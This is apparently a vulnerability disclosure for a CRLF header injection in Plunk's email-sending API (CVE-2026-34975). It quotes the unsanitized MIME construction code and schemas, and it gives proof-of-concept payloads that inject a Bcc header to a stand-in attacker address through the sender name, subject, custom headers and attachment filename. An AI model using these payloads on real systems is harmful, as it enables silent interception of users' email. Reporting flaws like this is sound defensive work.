Severity: High (CVSS 8.5)
CWE: CWE-93 — Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected: useplunk/plunk (all versions prior to fix)
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Plunk's POST /v1/send endpoint constructs a raw MIME email message by interpolating user-supplied fields (from.name, subject, custom headers, attachment filenames) directly into a template string without CRLF (\r\n) sanitization. An authenticated API user can inject arbitrary email headers — including Bcc — to silently redirect email copies to attacker-controlled addresses.
I was auditing open-source email sending platforms — anything that wraps AWS SES and exposes an API. Plunk is positioned as a developer-friendly alternative to SendGrid/Postmark, built on SES.
My entry point was the raw email construction function. Whenever I see rawMessage += or template literals building MIME, I check whether every user-supplied field is CRLF-sanitized. In SESService.ts, the answer was clearly no: from.name, subject, custom headers, and attachment filenames were all interpolated directly.
What confirmed this as exploitable: the Zod schema (packages/shared/src/schemas/index.ts) had no .regex() or .refine() rejecting \r\n on any of those fields. No sanitization at the schema layer, no sanitization at the MIME construction layer — clean path from API input to injected MIME header.
I tested all four vectors (from.name, subject, custom header value, attachment filename) and confirmed Bcc: injection works. Any authenticated API user with a verified sender domain can silently copy every outgoing email to an attacker-controlled address. The realistic attack scenario is a compromised API key turning into a persistent email intercept.
File: apps/api/src/services/SESService.ts, lines 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitizedZod schema (packages/shared/src/schemas/index.ts) — no CRLF validation:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n checkRaw MIME construction requires that every user-supplied value be stripped of \r\n before interpolation. Plunk builds the message with template literals and does not sanitize any of the four injectable fields. SMTP parsers interpret \r\n as a header boundary, so injecting \r\nBcc: attacker@evil.com into from.name adds a real Bcc header to the outgoing message.
See poc.py for a full demonstration with four injection vectors.
Core payload — Bcc injection via from.name:
payload = {
"to": "victim@example.com",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: attacker@evil.com",
"email": "verified@yourdomain.com",
},
}Raw MIME produced by SES:
From: Legit Sender
Bcc: attacker@evil.com <verified@yourdomain.com>
To: victim@example.com
Subject: Legit email
SES delivers a silent copy to attacker@evil.com with every email sent through the compromised API key.
Other injection vectors:
subject:"Legit Subject\r\nBcc: attacker@evil.com"- Custom header value:
{"X-Custom": "value\r\nBcc: attacker@evil.com"} - Attachment filename: MIME boundary injection
- Silent email redirection — BCC any outgoing email to an attacker-controlled address
- Email spoofing — override
Reply-To,Return-Path,Senderheaders - MIME structure corruption — inject arbitrary MIME parts via attachment filename
- Requires only a valid Plunk API key and a verified sender domain — standard authenticated access
- Discovery: 2026-03-xx
- Reported: GHSA private advisory
- CVE published: CVE-2026-34975